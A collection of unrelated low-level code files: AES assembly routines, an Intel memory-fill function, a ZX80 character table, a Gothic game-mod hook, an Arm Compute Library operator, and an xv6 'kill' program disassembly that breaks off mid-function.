%2 ebx, dl, 2, ebx
%1 ebx, ch, 1, edx
%1 ebx, al, 0, edx
shr eax,16
shr ecx,16
%1 ebp, cl, 2, edx
%1 edi, ch, 3, edx
%1 esi, al, 2, edx
%1 ebx, ah, 3, edx
%endmacro
; Basic MOV and XOR Operations for normal rounds
%macro nr_xor 4
movzx %4,%2
xor %1,etab_%3(%4)
%endmacro
%macro nr_mov 4
movzx %4,%2
mov %1,etab_%3(%4)
%endmacro
; Basic MOV and XOR Operations for last round
%ifdef LAST_ROUND_TABLES
%macro lr_xor 4
movzx %4,%2
xor %1,eltab_%3(%4)
%endmacro
%macro lr_mov 4
movzx %4,%2
mov %1,eltab_%3(%4)
%endmacro
%else
%macro lr_xor 4
movzx %4,%2
movzx %4,etab_b(%4)
%if %3 != 0
shl %4,8*%3
%endif
xor %1,%4
%endmacro
%macro lr_mov 4
movzx %4,%2
movzx %1,etab_b(%4)
%if %3 != 0
shl %1,8*%3
%endif
%endmacro
%endif
%macro enc_round 0
add ebp,16
save 0,ebp
mov esi,[ebp+8]
mov edi,[ebp+12]
rnd_fun nr_xor, nr_mov
mov eax,ebp
mov ecx,esi
mov edx,edi
restore ebp,0
xor eax,[ebp]
xor ebx,[ebp+4]
%endmacro
%macro enc_last_round 0
add ebp,16
save 0,ebp
mov esi,[ebp+8]
mov edi,[ebp+12]
rnd_fun lr_xor, lr_mov
mov eax,ebp
restore ebp,0
xor eax,[ebp]
xor ebx,[ebp+4]
%endmacro
section .text align=32
; AES Encryption Subroutine
do_name aes_encrypt
sub esp,stk_spc
mov [esp+16],ebp
mov [esp+12],ebx
mov [esp+ 8],esi
mov [esp+ 4],edi
mov esi,[esp+in_blk+stk_spc] ; input pointer
mov eax,[esi ]
mov ebx,[esi+ 4]
mov ecx,[esi+ 8]
mov edx,[esi+12]
mov ebp,[esp+ctx+stk_spc] ; key pointer
movzx edi,byte [ebp+4*KS_LENGTH]
xor eax,[ebp ]
xor ebx,[ebp+ 4]
xor ecx,[ebp+ 8]
xor edx,[ebp+12]
; determine the number of rounds
cmp edi,10*16
je .3
cmp edi,12*16
je .2
cmp edi,14*16
je .1
mov eax,-1
jmp .5
.1: enc_round
enc_round
.2: enc_round
enc_round
.3: enc_round
enc_round
enc_round
enc_round
enc_round
enc_round
enc_round
enc_round
enc_round
enc_last_round
mov edx,[esp+out_blk+stk_spc]
mov [edx],eax
mov [edx+4],ebx
mov [edx+8],esi
mov [edx+12],edi
xor eax,eax
.5: mov ebp,[esp+16]
mov ebx,[esp+12]
mov esi,[esp+ 8]
mov edi,[esp+ 4]
add esp,stk_spc
do_exit
%endif
%ifdef DECRYPTION
extern t_in
%define dtab_0(x) [t_in+4*x]
%define dtab_1(x) [t_in+1024+4*x]
%define dtab_2(x) [t_in+2048+4*x]
%define dtab_3(x) [t_in+3072+4*x]
%ifdef LAST_ROUND_TABLES
extern t_il
%define dltab_0(x) [t_il+4*x]
%define dltab_1(x) [t_il+1024+4*x]
%define dltab_2(x) [t_il+2048+4*x]
%define dltab_3(x) [t_il+3072+4*x]
%else
extern _t_ibox
%define dtab_x(x) byte [_t_ibox+x]
%endif
%macro irn_fun 2
rol eax,16
%1 esi, cl, 0, ebp
%1 esi, bh, 1, ebp
%1 esi, al, 2, ebp
%1 edi, dl, 0, ebp
%1 edi, ch, 1, ebp
%1 edi, ah, 3, ebp
%2 ebp, bl, 0, ebp
shr eax,16
and ebx,0xffff0000
or ebx,eax
shr ecx,16
%1 ebp, bh, 1, eax
%1 ebp, ch, 3, eax
%2 eax, cl, 2, ecx
%1 eax, bl, 0, ecx
%1 eax, dh, 1, ecx
shr ebx,16
shr edx,16
%1 esi, dh, 3, ecx
%1 ebp, dl, 2, ecx
%1 eax, bh, 3, ecx
%1 edi, bl, 2, ecx
%endmacro
; Basic MOV and XOR Operations for normal rounds
%macro ni_xor 4
movzx %4,%2
xor %1,dtab_%3(%4)
%endmacro
%macro ni_mov 4
movzx %4,%2
mov %1,dtab_%3(%4)
%endmacro
; Basic MOV and XOR Operations for last round
%ifdef LAST_ROUND_TABLES
%macro li_xor 4
movzx %4,%2
xor %1,dltab_%3(%4)
%endmacro
%macro li_mov 4
movzx %4,%2
mov %1,dltab_%3(%4)
%endmacro
%else
%macro li_xor 4
movzx %4,%2
movzx %4,dtab_x(%4)
%if %3 != 0
shl %4,8*%3
%endif
xor %1,%4
%endmacro
%macro li_mov 4
movzx %4,%2
movzx %1,dtab_x(%4)
%if %3 != 0
shl %1,8*%3
%endif
%endmacro
%endif
%macro dec_round 0
%ifdef AES_REV_DKS
add ebp,16
%else
sub ebp,16
%endif
save 0,ebp
mov esi,[ebp+8]
mov edi,[ebp+12]
irn_fun ni_xor, ni_mov
mov ebx,ebp
mov ecx,esi
mov edx,edi
restore ebp,0
xor eax,[ebp]
xor ebx,[ebp+4]
%endmacro
%macro dec_last_round 0
%ifdef AES_REV_DKS
add ebp,16
%else
sub ebp,16
%endif
save 0,ebp
mov esi,[ebp+8]
mov edi,[ebp+12]
irn_fun li_xor, li_mov
mov ebx,ebp
restore ebp,0
xor eax,[ebp]
xor ebx,[ebp+4]
%endmacro
section .text
; AES Decryption Subroutine
do_name aes_decrypt
sub esp,stk_spc
mov [esp+16],ebp
mov [esp+12],ebx
mov [esp+ 8],esi
mov [esp+ 4],edi
; input four columns and xor in first round key
mov esi,[esp+in_blk+stk_spc] ; input pointer
mov eax,[esi ]
mov ebx,[esi+ 4]
mov ecx,[esi+ 8]
mov edx,[esi+12]
lea esi,[esi+16]
mov ebp,[esp+ctx+stk_spc] ; key pointer
movzx edi,byte[ebp+4*KS_LENGTH]
%ifndef AES_REV_DKS ; if decryption key schedule is not reversed
lea ebp,[ebp+edi] ; we have to access it from the top down
%endif
xor eax,[ebp ] ; key schedule
xor ebx,[ebp+ 4]
xor ecx,[ebp+ 8]
xor edx,[ebp+12]
; determine the number of rounds
cmp edi,10*16
je .3
cmp edi,12*16
je .2
cmp edi,14*16
je .1
mov eax,-1
jmp .5
.1: dec_round
dec_round
.2: dec_round
dec_round
.3: dec_round
dec_round
dec_round
dec_round
dec_round
dec_round
dec_round
dec_round
dec_round
dec_last_round
; move final values to the output array.
mov ebp,[esp+out_blk+stk_spc]
mov [ebp],eax
mov [ebp+4],ebx
mov [ebp+8],esi
mov [ebp+12],edi
xor eax,eax
.5: mov ebp,[esp+16]
mov ebx,[esp+12]
mov esi,[esp+ 8]
mov edi,[esp+ 4]
add esp,stk_spc
do_exit
%endif
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation
; All rights reserved. This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; SetMem64.Asm
;
; Abstract:
;
; SetMem64 function
;
; Notes:
;
;------------------------------------------------------------------------------
.386
.model flat,C
.code
;------------------------------------------------------------------------------
; VOID *
; InternalMemSetMem64 (
; IN VOID *Buffer,
; IN UINTN Count,
; IN UINT64 Value
; )
;------------------------------------------------------------------------------
InternalMemSetMem64 PROC USES edi
mov ecx, [esp + 12]
mov eax, [esp + 16]
mov edx, [esp + 20]
mov edi, [esp + 8]
@@:
mov [edi + ecx*8 - 8], eax
mov [edi + ecx*8 - 4], edx
loop @B
mov eax, edi
ret
InternalMemSetMem64 ENDP
END
|
;
;
; Support char table (pseudo graph symbols) for the ZX80
; Sequence: blank, top-left, top-right, top-half, bottom-left, left-half, etc..
;
; $Id: textpixl.asm,v 1.3 2016-06-23 19:53:27 dom Exp $
;
;
; .. X. .X XX
; .. .. .. ..
;
; .. X. .X XX
; X. X. X. X.
;
; .. X. .X XX
; .X .X .X .X
;
; .. X. .X XX
; XX XX XX XX
SECTION rodata_clib
PUBLIC textpixl
.textpixl
defb $20, $18, $14, $1c
defb $11, $1a, $16, $1e
defb $12, $19, $15, $1d
defb $13, $1b, $17, $1f
|
; Hook after oCInfoManager::Unarchive in oCGame::LoadSavegame to add new infos to the info manager
%include "inc/macros.inc"
%if GOTHIC_BASE_VERSION == 1
%include "inc/symbols_g1.inc"
%elif GOTHIC_BASE_VERSION == 2
%include "inc/symbols_g2.inc"
%endif
%ifidn __OUTPUT_FORMAT__, bin
org g1g2(0x63C7EE,0x6C6D1E)
%endif
bits 32
section .text align=1 ; Prevent auto-alignment
jmp ninja_injectInfo
nop
|
/*
* Copyright (c) 2021 Arm Limited.
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to
* deal in the Software without restriction, including without limitation the
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
* sell copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include "src/gpu/cl/operators/ClConvertFullyConnectedWeights.h"
#include "src/gpu/cl/ClCompileContext.h"
#include "src/gpu/cl/kernels/ClConvertFullyConnectedWeightsKernel.h"
#include "src/common/utils/Log.h"
namespace arm_compute
{
namespace opencl
{
void ClConvertFullyConnectedWeights::configure(const ClCompileContext &compile_context, const ITensorInfo *src, ITensorInfo *dst, const TensorShape &original_src_shape, DataLayout data_layout)
{
ARM_COMPUTE_LOG_PARAMS(src, dst, original_src_shape, data_layout);
auto k = std::make_unique<kernels::ClConvertFullyConnectedWeightsKernel>();
k->configure(compile_context, src, dst, original_src_shape, data_layout);
_kernel = std::move(k);
}
Status ClConvertFullyConnectedWeights::validate(const ITensorInfo *src, const ITensorInfo *dst, const TensorShape &original_src_shape, DataLayout data_layout)
{
return kernels::ClConvertFullyConnectedWeightsKernel::validate(src, dst, original_src_shape, data_layout);
}
} // namespace opencl
} // namespace arm_compute |
_kill: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char **argv)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 20 sub $0x20,%esp
int i;
if(argc < 1){
9: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
d: 7f 19 jg 28 <main+0x28>
printf(2, "usage: kill pid...\n");
f: c7 44 24 04 31 10 00 movl $0x1031,0x4(%esp)
16: 00
17: c7 04 24 02 00 00 00 movl $0x2,(%esp)
1e: e8 74 04 00 00 call 497 <printf>
exit();
23: e8 a7 02 00 00 call 2cf <exit>
}
for(i=1; i<argc; i++)
28: c7 44 24 1c 01 00 00 movl $0x1,0x1c(%esp)
2f: 00
30: eb 27 jmp 59 <main+0x59>
kill(atoi(argv[i]));
32: 8b 44 24 1c mov 0x1c(%esp),%eax
36: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
3d: 8b 45 0c mov 0xc(%ebp),%eax
40: 01 d0 add %edx,%eax
42: 8b 00 mov (%eax),%eax
44: 89 04 24 mov %eax,(%esp)
47: e8 f1 01 00 00 call 23d <atoi>
4c: 89 04 24 mov %eax,(%esp)
4f: e8 ab 02 00 00 call 2ff <kill>
if(argc < 1){
printf(2, "usage: kill pid...\n");
exit();
}
for(i=1; i<argc; i++)
54: 83 44 24 1c 01 addl $0x1,0x1c(%esp)
59: 8b 44 24 1c mov 0x1c(%esp),%eax
5d: 3b 45 08 cmp 0x8(%ebp),%eax
60: 7c d0 jl 32 <main+0x32>
kill(atoi(argv[i]));
exit();
62: e8 68 02 00 00 call 2cf <exit>
00000067 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
67: 55 push %ebp
68: 89 e5 mov %esp,%ebp
6a: 57 push %edi
6b: 53 push %ebx
asm volatile("cld; rep stosb" :
6c: 8b 4d 08 mov 0x8(%ebp),%ecx
6f: 8b 55 10 mov 0x10(%ebp),%edx
72: 8b 45 0c mov 0xc(%ebp),%eax
75: 89 cb mov %ecx,%ebx
77: 89 df mov %ebx,%edi
79: 89 d1 mov %edx,%ecx
7b: fc cld
7c: f3 aa rep stos %al,%es:(%edi)
7e: 89 ca mov %ecx,%edx
80: 89 fb mov %edi,%ebx
82: 89 5d 08 mov %ebx,0x8(%ebp)
85: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
88: 5b pop %ebx
89: 5f pop %edi
8a: 5d pop %ebp
8b: c3 ret
0000008c <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
8c: 55 push %ebp
8d: 89 e5 mov %esp,%ebp
8f: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
92: 8b 45 08 mov 0x8(%ebp),%eax
95: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
98: 90 nop
99: 8b 45 08 mov 0x8(%ebp),%eax
9c: 8d 50 01 lea 0x1(%eax),%edx
9f: 89 55 08 mov %edx,0x8(%ebp)
a2: 8b 55 0c mov 0xc(%ebp),%edx
a5: 8d 4a 01 lea 0x1(%edx),%ecx
a8: 89 4d 0c mov %ecx,0xc(%ebp)
ab: 0f b6 12 movzbl (%edx),%edx
ae: 88 10 mov %dl,(%eax)
b0: 0f b6 00 movzbl (%eax),%eax
b3: 84 c0 test %al,%al
b5: 75 e2 jne 99 <strcpy+0xd>
;
return os;
b7: 8b 45 fc mov -0x4(%ebp),%eax
}
ba: c9 leave
bb: c3 ret
000000bc <strcmp>:
int
strcmp(const char *p, const char *q)
{
bc: 55 push %ebp
bd: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
bf: eb 08 jmp c9 <strcmp+0xd>
p++, q++;
c1: 83 45 08 01 addl $0x1,0x8(%ebp)
c5: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
c9: 8b 45 08 mov 0x8(%ebp),%eax
cc: 0f b6 00 movzbl (%eax),%eax
cf: 84 c0 test %al,%al
d1: 74 10 je e3 <strcmp+0x27>
d3: 8b 45 08 mov 0x8(%ebp),%eax
d6: 0f b6 10 movzbl (%eax),%edx
d9: 8b 45 0c mov 0xc(%ebp),%eax
dc: 0f b6 00 movzbl (%eax),%eax
df: 38 c2 cmp %al,%dl
e1: 74 de je c1 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
e3: 8b 45 08 mov 0x8(%ebp),%eax
e6: 0f b6 00 movzbl (%eax),%eax
e9: 0f b6 d0 movzbl %al,%edx
ec: 8b 45 0c mov 0xc(%ebp),%eax
ef: 0f b6 00 movzbl (%eax),%eax
f2: 0f b6 c0 movzbl %al,%eax
f5: 29 c2 sub %eax,%edx
f7: 89 d0 mov %edx,%eax
}
f9: 5d pop %ebp
fa: c3 ret
000000fb <strlen>:
uint
strlen(char *s)
{
fb: 55 push %ebp
fc: 89 e5 mov %esp,%ebp
fe: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
101: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
108: eb 04 jmp 10e <strlen+0x13>
10a: 83 45 fc 01 addl $0x1,-0x4(%ebp)
10e: 8b 55 fc mov -0x4(%ebp),%edx
111: 8b 45 08 mov 0x8(%ebp),%eax
114: 01 d0 add %edx,%eax
116: 0f b6 00 movzbl (%eax),%eax
119: 84 c0 test %al,%al
11b: 75 ed jne 10a <strlen+0xf>
;
return n;
11d: 8b 45 fc mov -0x4(%ebp),%eax
}
120: c9 leave
121: c3 ret
00000122 <memset>:
void*
memset(void *dst, int c, uint n)
{
122: 55 push %ebp
123: 89 e5 mov %esp,%ebp
125: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
128: 8b 45 10 mov 0x10(%ebp),%eax
12b: 89 44 24 08 mov %eax,0x8(%esp)
12f: 8b 45 0c mov 0xc(%ebp),%eax
132: 89 44 24 04 mov %eax,0x4(%esp)
136: 8b 45 08 mov 0x8(%ebp),%eax
139: 89 04 24 mov %eax,(%esp)
13c: e8 26 ff ff ff call 67 <stosb>
return dst;
141: 8b 45 08 mov 0x8(%ebp),%eax
}
144: c9 leave
145: c3 ret
00000146 <strchr>:
char*
strchr(const char *s, char c)
{
146: 55 push %ebp
147: 89 e5 mov %esp,%ebp
149: 83 ec 04 sub $0x4,%esp
14c: 8b 45 0c mov 0xc(%ebp),%eax
14f: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
152: eb 14 jmp 168 <strchr+0x22>
if(*s == c)
154: 8b 45 08 mov 0x8(%ebp),%eax
157: 0f b6 00 movzbl (%eax),%eax
15a: 3a 45 fc cmp -0x4(%ebp),%al
15d: 75 05 jne 164 <strchr+0x1e>
return (char*)s;
15f: 8b 45 08 mov 0x8(%ebp),%eax
162: eb 13 jmp 177 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
164: 83 45 08 01 addl $0x1,0x8(%ebp)
168: 8b 45 08 mov 0x8(%ebp),%eax
16b: 0f b6 00 movzbl (%eax),%eax
16e: 84 c0 test %al,%al
170: 75 e2 jne 154 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
172: b8 00 00 00 00 mov $0x0,%eax
}
177: c9 leave
178: c3 ret
00000179 <gets>:
char*
gets(char *buf, int max)
{
179: 55 push %ebp
17a: 89 e5 mov %esp,%ebp
17c: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
17f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
186: eb 4c jmp 1d4 <gets+0x5b>
cc = read(0, &c, 1);
188: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
18f: 00
190: 8d 45 ef lea -0x11(%ebp),%eax
193: 89 44 24 04 mov %eax,0x4(%esp)
197: c7 04 24 00 00 00 00 movl $0x0,(%esp)
19e: e8 44 01 00 00 call 2e7 <read>
1a3: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1a6: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1aa: 7f 02 jg 1ae <gets+0x35>
break;
1ac: eb 31 jmp 1df <gets+0x66>
buf[i++] = c;
1ae: 8b 45 f4 mov -0xc(%ebp),%eax
1b1: 8d 50 01 lea 0x1(%eax),%edx
1b4: 89 55 f4 mov %edx,-0xc(%ebp)
1b7: 89 c2 mov %eax,%edx
1b9: 8b 45 08 mov 0x8(%ebp),%eax
1bc: 01 c2 add %eax,%edx
1be: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1c2: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1c4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1c8: 3c 0a cmp $0xa,%al
1ca: 74 13 je 1df <gets+0x66>
1cc: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1d0: 3c 0d cmp $0xd,%al
1d2: 74 0b je 1df <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1d4: 8b 45 f4 mov -0xc(%ebp),%eax
1d7: 83 c0 01 add $0x1,%eax
1da: 3b 45 0c cmp 0xc(%ebp),%eax
1dd: 7c a9 jl 188 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1df: 8b 55 f4 mov -0xc(%ebp),%edx
1e2: 8b 45 08 mov 0x8(%ebp),%eax
1e5: 01 d0 add %edx,%eax
1e7: c6 00 00 movb $0x0,(%eax)
return buf;
1ea: 8b 45 08 mov 0x8(%ebp),%eax
}
1ed: c9 leave
1ee: c3 ret
000001ef <stat>:
int
stat(char *n, struct stat *st)
{
1ef: 55 push %ebp
1f0: 89 e5 mov %esp,%ebp
1f2: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1f5: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1fc: 00
1fd: 8b 45 08 mov 0x8(%ebp),%eax
200: 89 04 24 mov %eax,(%esp)
203: e8 07 01 00 00 call 30f <open>
208: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
20b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
20f: 79 07 jns 218 <stat+0x29>
return -1;
211: b8 ff ff ff ff mov $0xffffffff,%eax
216: eb 23 jmp 23b <stat+0x4c>
r = fstat(fd, st);
218: 8b 45 0c mov 0xc(%ebp),%eax
21b: 89 44 24 04 mov %eax,0x4(%esp)
21f: 8b 45 f4 mov -0xc(%ebp),%eax
222: 89 04 24 mov %eax,(%esp)
225: e8 fd 00 00 00 call 327 <fstat>
22a: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
22d: 8b 45 f4 mov -0xc(%ebp),%eax
230: 89 04 24 mov %eax,(%esp)
233: e8 bf 00 00 00 call 2f7 <close>
return r;
238: 8b 45 f0 mov -0x10(%ebp),%eax
}
23b: c9 leave
23c: c3 ret
0000023d <atoi>:
int
atoi(const char *s)
{
23d: 55 push %ebp
23e: 89 e5 mov %esp,%ebp
240: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
243: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
24a: eb 25 jmp 271 <atoi+0x34>
n = n*10 + *s++ - '0';
24c: 8b 55 fc mov -0x4(%ebp),%edx
24f: 89 d0 mov %edx,%eax
251: c1 e0 02 shl $0x2,%eax
254: 01 d0 add %edx,%eax
256: 01 c0 add %eax,%eax
258: 89 c1 mov %eax,%ecx
25a: 8b 45 08 mov 0x8(%ebp),%eax
25d: 8d 50 01 lea 0x1(%eax),%edx
260: 89 55 08 mov %edx,0x8(%ebp)
263: 0f b6 00 movzbl (%eax),%eax
266: 0f be c0 movsbl %al,%eax
269: 01 c8 add %ecx,%eax
26b: 83 e8 30 sub $0x30,%eax
26e: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
271: 8b 45 08 mov 0x8(%ebp),%eax
274: 0f b6 00 movzbl (%eax),%eax
277: 3c 2f cmp $0x2f,%al
279: 7e 0a jle 285 <atoi+0x48>
27b: 8b 45 08 mov 0x8(%ebp),%eax
27e: 0f b6 00 movzbl (%eax),%eax
281: 3c 39 cmp $0x39,%al
283: 7e c7 jle 24c <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
285: 8b 45 fc mov -0x4(%ebp),%eax
}
288: c9 leave
289: c3 ret
0000028a <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
28a: 55 push %ebp
28b: 89 e5 mov %esp,%ebp
28d: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
290: 8b 45 08 mov 0x8(%ebp),%eax
293: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
296: 8b 45 0c mov 0xc(%ebp),%eax
299: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
29c: eb 17 jmp 2b5 <memmove+0x2b>
*dst++ = *src++;
29e: 8b 45 fc mov -0x4(%ebp),%eax
2a1: 8d 50 01 lea 0x1(%eax),%edx
2a4: 89 55 fc mov %edx,-0x4(%ebp)
2a7: 8b 55 f8 mov -0x8(%ebp),%edx
2aa: 8d 4a 01 lea 0x1(%edx),%ecx
2ad: 89 4d f8 mov %ecx,-0x8(%ebp)
2b0: 0f b6 12 movzbl (%edx),%edx
2b3: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2b5: 8b 45 10 mov 0x10(%ebp),%eax
2b8: 8d 50 ff lea -0x1(%eax),%edx
2bb: 89 55 10 mov %edx,0x10(%ebp)
2be: 85 c0 test %eax,%eax
2c0: 7f dc jg 29e <memmove+0x14>
*dst++ = *src++;
return vdst;
2c2: 8b 45 08 mov 0x8(%ebp),%eax
}
2c5: c9 leave
2c6: c3 ret
000002c7 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2c7: b8 01 00 00 00 mov $0x1,%eax
2cc: cd 40 int $0x40
2ce: c3 ret
000002cf <exit>:
SYSCALL(exit)
2cf: b8 02 00 00 00 mov $0x2,%eax
2d4: cd 40 int $0x40
2d6: c3 ret
000002d7 <wait>:
SYSCALL(wait)
2d7: b8 03 00 00 00 mov $0x3,%eax
2dc: cd 40 int $0x40
2de: c3 ret
000002df <pipe>:
SYSCALL(pipe)
2df: b8 04 00 00 00 mov $0x4,%eax
2e4: cd 40 int $0x40
2e6: c3 ret
000002e7 <read>:
SYSCALL(read)
2e7: b8 05 00 00 00 mov $0x5,%eax
2ec: cd 40 int $0x40
2ee: c3 ret
000002ef <write>:
SYSCALL(write)
2ef: b8 10 00 00 00 mov $0x10,%eax
2f4: cd 40 int $0x40
2f6: c3 ret
000002f7 <close>:
SYSCALL(close)
2f7: b8 15 00 00 00 mov $0x15,%eax
2fc: cd 40 int $0x40
2fe: c3 ret
000002ff <kill>:
SYSCALL(kill)
2ff: b8 06 00 00 00 mov $0x6,%eax
304: cd 40 int $0x40
306: c3 ret
00000307 <exec>:
SYSCALL(exec)
307: b8 07 00 00 00 mov $0x7,%eax
30c: cd 40 int $0x40
30e: c3 ret
0000030f <open>:
SYSCALL(open)
30f: b8 0f 00 00 00 mov $0xf,%eax
314: cd 40 int $0x40
316: c3 ret
00000317 <mknod>:
SYSCALL(mknod)
317: b8 11 00 00 00 mov $0x11,%eax
31c: cd 40 int $0x40
31e: c3 ret
0000031f <unlink>:
SYSCALL(unlink)
31f: b8 12 00 00 00 mov $0x12,%eax
324: cd 40 int $0x40
326: c3 ret
00000327 <fstat>:
SYSCALL(fstat)
327: b8 08 00 00 00 mov $0x8,%eax
32c: cd 40 int $0x40
32e: c3 ret
0000032f <link>:
SYSCALL(link)
32f: b8 13 00 00 00 mov $0x13,%eax
334: cd 40 int $0x40
336: c3 ret
00000337 <mkdir>:
SYSCALL(mkdir)
337: b8 14 00 00 00 mov $0x14,%eax
33c: cd 40 int $0x40
33e: c3 ret
0000033f <chdir>:
SYSCALL(chdir)
33f: b8 09 00 00 00 mov $0x9,%eax
344: cd 40 int $0x40
346: c3 ret
00000347 <dup>:
SYSCALL(dup)
347: b8 0a 00 00 00 mov $0xa,%eax
34c: cd 40 int $0x40
34e: c3 ret
0000034f <getpid>:
SYSCALL(getpid)
34f: b8 0b 00 00 00 mov $0xb,%eax
354: cd 40 int $0x40
356: c3 ret
00000357 <sbrk>:
SYSCALL(sbrk)
357: b8 0c 00 00 00 mov $0xc,%eax
35c: cd 40 int $0x40
35e: c3 ret
0000035f <sleep>:
SYSCALL(sleep)
35f: b8 0d 00 00 00 mov $0xd,%eax
364: cd 40 int $0x40
366: c3 ret
00000367 <uptime>:
SYSCALL(uptime)
367: b8 0e 00 00 00 mov $0xe,%eax
36c: cd 40 int $0x40
36e: c3 ret
0000036f <kthread_create>:
SYSCALL(kthread_create)
36f: b8 16 00 00 00 mov $0x16,%eax
374: cd 40 int $0x40
376: c3 ret
00000377 <kthread_id>:
SYSCALL(kthread_id)
377: b8 17 00 00 00 mov $0x17,%eax
37c: cd 40 int $0x40
37e: c3 ret
0000037f <kthread_exit>:
SYSCALL(kthread_exit)
37f: b8 18 00 00 00 mov $0x18,%eax
384: cd 40 int $0x40
386: c3 ret
00000387 <kthread_join>:
SYSCALL(kthread_join)
387: b8 19 00 00 00 mov $0x19,%eax
38c: cd 40 int $0x40
38e: c3 ret
0000038f <kthread_mutex_alloc>:
SYSCALL(kthread_mutex_alloc)
38f: b8 1a 00 00 00 mov $0x1a,%eax
394: cd 40 int $0x40
396: c3 ret
00000397 <kthread_mutex_dealloc>:
SYSCALL(kthread_mutex_dealloc)
397: b8 1b 00 00 00 mov $0x1b,%eax
39c: cd 40 int $0x40
39e: c3 ret
0000039f <kthread_mutex_lock>:
SYSCALL(kthread_mutex_lock)
39f: b8 1c 00 00 00 mov $0x1c,%eax
3a4: cd 40 int $0x40
3a6: c3 ret
000003a7 <kthread_mutex_unlock>:
SYSCALL(kthread_mutex_unlock)
3a7: b8 1d 00 00 00 mov $0x1d,%eax
3ac: cd 40 int $0x40
3ae: c3 ret
000003af <kthread_mutex_yieldlock>:
3af: b8 1e 00 00 00 mov $0x1e,%eax
3b4: cd 40 int $0x40
3b6: c3 ret
000003b7 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
3b7: 55 push %ebp
3b8: 89 e5 mov %esp,%ebp
3ba: 83 ec 18 sub $0x18,%esp
3bd: 8b 45 0c mov 0xc(%ebp),%eax
3c0: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
3c3: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3ca: 00
3cb: 8d 45 f4 lea -0xc(%ebp),%eax
3ce: 89 44 24 04 mov %eax,0x4(%esp)
3d2: 8b 45 08 mov 0x8(%ebp),%eax
3d5: 89 04 24 mov %eax,(%esp)
